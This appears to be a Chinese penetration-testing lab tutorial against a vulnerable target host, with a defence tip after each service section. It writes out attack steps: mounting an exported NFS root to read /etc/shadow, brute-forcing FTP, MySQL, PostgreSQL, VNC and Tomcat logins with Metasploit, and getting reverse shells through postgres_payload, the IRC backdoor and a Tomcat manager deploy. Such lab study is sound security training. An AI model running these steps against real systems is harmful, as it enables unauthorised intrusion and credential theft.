实时监控网络状态,出现未知的连接要引起重视
和SMB类似 ,默认是2049端口
先使用nmap探测2049端口 ,2049号端口运行的是tcp协议,nfs服务、版本
nmap 192.168.0.138 --script=nfs-*
探测nfs相关的所有信息
探测nfs的目录是否可以导出(可能需要安装nfs-common)
使用showmount命令查看内容是否可以导出 出现内容为 /* 代表可以导出
showmount -e 192.168.0.138
查看导出的内容
mkdir nfs_root //先创建一个可供挂载的文件夹
mount -t nfs IP:/ ~/nfs_root -o nolock //通过nfs将msf靶机文件内容挂载到kali上,并且没有加密
cat ~/nfs_root/etc/shadow //查看msf靶机文件内容
对比可以发现查看的是目标机器根目录下的文件内容
并且可以读取文件信息,包括密码信息
防御建议:对读取的内容做好权限控制,不能将所有的目录进行分享显示。
ProFTPD:一个Unix平台上或是类Unix平台上( 如Linux, FreeBSD等)的FTP服务器程序
The ProFTPD Project: Home
探测目标proftpd
通过版本搜索目标漏洞 proftpd 13 可以在exploit-db.com上面搜索是否有相关漏洞
可以自己测试漏洞是否存在
msf暴力破解密码
使用auxiliary/scanner/ftp/ftp_login 模块进行账号和密码的爆破
最直观的修复方式就是升级,但是也要同时也要加强系统内的监控
MySQL是一个关系型数据库管理系统,由瑞典MySQLAB公司开发,目前属于Oracle旗下产品。 MySQL是最流行的关系型数据库管理系统之一,在WeB应用方面,MySQL是最好的RDBMS (Relational Database Management System,关系数据库管理系统)应用软件。
MySQL是一种关系数据库管理系统,关系数据库将数据保存在不同的表中,而不是将所有数据放在-一个 大仓库内,这样就增加了速度并提高了灵活性。
可以在官网查看到使用文档
官网: MySQL
探测3306端口
使用msf破解登录用户名和密码
use auxiliary/scanner/mysql/mysql_login 设置好登录账号的字典和密码的字典后
返回了攻击成功账户为root 密码为空
使用 mysql -h IP -u root 尝试登录,成功查找到数据
总结:用户名和密码过于简单,将用户名和密码设置复杂,设置登录阀值,登录错误不允许登录,设置端口为其他端口,将mysql禁止外连,或者指定IP能够连接。
postgresql介绍
PostgreSQL是以加州大学伯克利分校计算机系开发的POSTGRES,现在已经更名为PostgreSQL,版本4.2为垫础的对象关系型数据库管理系统(ORDBMS)。PostgreSQL支持大部分SQL标准并且提供了许多其他现代特性:复杂查询、外键、触发器、视图、事务完整性、MVCC。同样,PostgreSQL 可以用许多方法扩展,比如,通过增加新的数据类型、 函数、操作符、聚集函数、索引。免费使用、修改、和分发PostgreSQL,不管是私用、商用、还是学术研究使用。
PostgreSQL: The world's most advanced open source database
探测目标postgresql
nmap -sV -p 5432 IP
探测出的信息为版本号为 8.3.0--8.3.7
使用msf postgresql_login 模块对账号密码进行破解
先使用msf对版本进行探测查看是否有不一样,可以看到探测出来的版本为8.3.1,探测的更加精细一点。但是探测出的可能不是精确,大致范围确定在8.3.x
设定好目标IP后,可以看到默认配置了字典,run 得出了登录的账号和密码
最后可以使用pyadmin登录到postgresql 数据库
也可以选择使用其他命令行进行登录
暴力破解最好的防御方式就是设置复杂的密码
exploit(**linux/postgres/postgres_payload**)
利用msf下面的postgresql 下面的代码执行模块获得反弹shell
使用show info 查看模块说明
msf6 exploit(linux/postgres/postgres_payload) > show info Name: PostgreSQL for Linux Payload Execution Module: exploit/linux/postgres/postgres_payload Platform: Linux Arch: Privileged: No License: Metasploit Framework License (BSD) Rank: Excellent Disclosed: 2007-06-05 Provided by: midnitesnake egypttodb lucipher Available targets: Id Name -- ---- 0 Linux x86 1 Linux x86_64 Check supported: Yes Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- DATABASE template1 yes The database to authenticate against PASSWORD postgres no The password for the specified username. Leave blank for a random password. RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit RPORT 5432 yes The target port USERNAME postgres yes The username to authenticate as VERBOSE false no Enable verbose output Payload information: Space: 65535 Description: On some default Linux installations of PostgreSQL, the postgres service account may write to the /tmp directory, and may source UDF Shared Libraries from there as well, allowing execution of arbitrary code. This module compiles a Linux shared object file, uploads it to the target host via the UPDATE pg_largeobject method of binary injection, and creates a UDF (user defined function) from that shared object. Because the payload is run as the shared object's constructor, it does not need to conform to specific Postgres API 在一些默认的PostgreSQL Linux安装中,postgres服务帐户可以写入/tmp目录,也可以从那里获取UDF共享库,允许执行任意代码。该模块编译一个Linux共享对象文件,通过二进制注入的UPDATE pg largeobject方法将其上传到目标主机,并从该共享对象创建一个UDF(用户定义函数)。因为有效负载是作为共享对象的构造函数运行的,所以它不需要遵循特定的Postgres API versions. References: https://nvd.nist.gov/vuln/detail/CVE-2007-3280 http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt
配置好目标IP地址和源IP地址
whoami 可以看到反弹的是postgresql的shell 而不是用户的shell,但是权限还不是最高权限
防御修复方案:
防御:屏蔽任意IP连接postgresql
修复:升级版本,对默认安装好的软件进行安全配置
一般来说在防御的时候升级牵扯到的软件服务可能比较多,一般先进行安全配置,或者屏蔽IP连接到postgresql
VNC介绍
VNC (Virtual Network Console)是虚拟网络控制台的缩写。它是一款优秀的远程控制工具软件,由著名的AT&T的欧洲研究实验室开发的。可视化控制,类似于远程桌面,默认vnc服务端运行在5900端口
先使用nmap探测5900端口
使用msf对nvc模块的用户名和密码进行破解
使用 auxiliary/scanner/vnc/vnc_login 模块,可以看到登录成功账号为空 密码为password
使用nvc viewer连接vnc服务器
输入账号和密码进行登录 账号为空 密码为password
最后登录之后就是root权限进行操作
如何进行防御
对vnc设置复杂的密码验证
irc介绍
IRC是Internet Relay Chat的英文缩写,中文一般称为互联网中继聊天。它是由芬兰人Jarkko Oikarinen于1988年首创的一种网络聊天协议。经过十年的发展,目前世界上有超过60个国家提供了IRC的服务。IRC的工作原理非常简单,您只要在自己的PC上运行客户端软件,然后通过因特网以IRC协议连接到-台IRC服务器上即可。它的特点是速度非常之快,聊天时几乎没有延迟的现象,并且只占用很小的带宽资源。所有用户可以在一个被称为"Channel" (频道)的地方就某一话题进行交谈或密谈。每个IRC的 使用者都有一个Nickname (昵称)。
默认情况下irc运行在6667端口上
使用nmap -sV -p 6667 IP
利用到查找到的服务版本,搜索到可以利用的POC
利用msf中对irc后门连接的模块,连接shell
修复建议:1.升级软件版本 ,2,更换其他软件
Tomcat服务器是一个免费的开放源代码的Web应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP程序的首选。默认情况下,8180端口是tomcat管理的HTTP端口
IIS是开发ASP的首选 ,Apache是开发PHP的首选,默认情况下8180是默认的管理界面
探测8180端口,查看tomcat版本信息
nmap -sV -p 8180 IP
msf破解tomcat密码
使用 auxiliary/scanner/tomcat_mgr_login 模块成功探测出账号和密码为
输入tomcat、tomcat进行登录验证,成功登录到后台
msf利用tomcat upload 功能反弹shell
利用 multi/http/tomcat_mgr_deploy 模块进行利用
成功获取到meterpreter
如何进行防御:修改tomcat的默认密码
redis 是一个非关系型的数据库,redis是通过key-value 存储系统(键值数据库)
nosql咩有通用语言,都有自身使用的特定的api
redis官网:Redis
安装redis搭建环境
sudo apt-get install redis-server 安装redis nosql数据库
redis未授权访问
默认情况下,redis监听6379端口,并且可以使用客户端直接连接。登录后使用info命令,查看服务器信息。
默认安装的程序是不允许远程连接的我们先设置能够进行远程连接
配置redis.conf 文件
注释掉 bind 127.0.0.1
重启服务后重新扫描端口状态
redis -cli -h 192.168.0.138 //直接连接服务器
重启后使用nmap扫描可以看到端口是开启的
修复建议:
1、配置bind选项, 限定可以连接Redis服务器的IP,修改Redis的默认端口6379。 2、配置认证,设置requirepass参数。